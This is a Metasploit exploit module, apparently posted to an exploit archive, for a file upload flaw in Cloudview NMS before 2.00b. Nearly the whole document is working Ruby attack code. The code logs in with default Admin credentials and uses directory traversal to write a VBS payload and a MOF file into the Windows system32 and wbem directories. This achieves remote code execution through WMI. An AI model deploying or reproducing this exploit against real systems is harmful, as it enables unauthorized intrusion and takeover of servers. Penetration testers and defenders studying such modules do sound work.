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Cloudview NMS File Upload

Posted on 15 September 2017

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec

def initialize(info = {})
super(update_info(info,
'Name' => 'Cloudview NMS File Upload',
'Description' => %q{
This module exploits a file upload vulnerability
found within Cloudview NMS < 2.00b. The vulnerability
is triggered by sending specialized packets to the
server with directory traversal sequences (..@ in
this case) to browse outside of the web root.
},
'Author' => [ 'james fitts' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', '0day' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'BadChars' => "x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Cloudview NMS 2.00b on Windows', {} ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 13 2014'))

register_options([
Opt::RPORT(80),
OptString.new('USERNAME', [ true, "The username to log in with", "Admin" ]),
OptString.new('PASSWORD', [ false, "The password to log in with", "" ])
], self.class )
end

def exploit

# setup
vbs_name = rand_text_alpha(rand(10)+5) + '.vbs'
exe = generate_payload_exe
vbs_content = Msf::Util::EXE.to_exe_vbs(exe)
mof_name = rand_text_alpha(rand(10)+5) + '.vbs'
mof = generate_mof(mof_name, vbs_name)
peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"

print_status("Uploading #{vbs_name} to #{peer}...")

# logging in to get the "session"
@sess = rand(0..2048)
res = send_request_cgi({
'method' => 'POST',
'uri' => "/MPR=#{@sess}:/",
'version' => '1.1',
'ctype' => 'application/x-www-form-urlencoded',
'data' => "username=#{datastore['USERNAME']}&password=#{datastore['PASSWORD']}&mybutton=Login%21&donotusejava=html"
})

# This is needed to setup the upload directory
res = send_request_cgi({
'method' => 'GET',
'uri' => "/MPR=#{@sess}:/descriptor!ChangeDir=C:@..@..@..@WINDOWS@system32@!-!-!@extdir%5Cfilelistpage!-!1000",
'version' => '1.1',
})

# Uploading VBS file
data = Rex::MIME::Message.new
data.add_part("#{vbs_content}", "application/octet-stream", nil, "form-data; name="upfile"; filename="#{vbs_name}"")
post_data = data.to_s.gsub(/^
--\_Part\_/, "--_Part_")

res = send_request_cgi({
'method' => 'POST',
'uri' => "/MPR=#{@sess}:/",
'version' => '1.1',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})

if res.body =~ /Uploaded file OK/
print_good("Uploaded #{vbs_name} successfully!")
print_status("Uploading #{mof_name} to #{peer}...")

# Setting up upload directory
res = send_request_cgi({
'method' => 'GET',
'uri' => "/MPR=#{@sess}:/descriptor!ChangeDir=C:@..@..@..@WINDOWS@system32@wbem@mof@!-!-!@extdir%5Cfilelistpage!-!1000",
'version' => '1.1'
})

# Uploading MOF file
data = Rex::MIME::Message.new
data.add_part("#{mof}", "application/octet-stream", nil, "form-data; name="upfile"; filename="#{mof_name}"")
post_data = data.to_s.gsub(/^
--\_Part\_/, "--_Part_")

res = send_request_cgi({
'method' => 'POST',
'uri' => "/MPR=#{@sess}:/",
'version' => '1.1',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})

if res.body =~ /Uploaded file OK/
print_good("Uploaded #{mof_name} successfully!")
else
print_error("Something went wrong...")
end
else
print_error("Something went wrong...")
end

end

end

 

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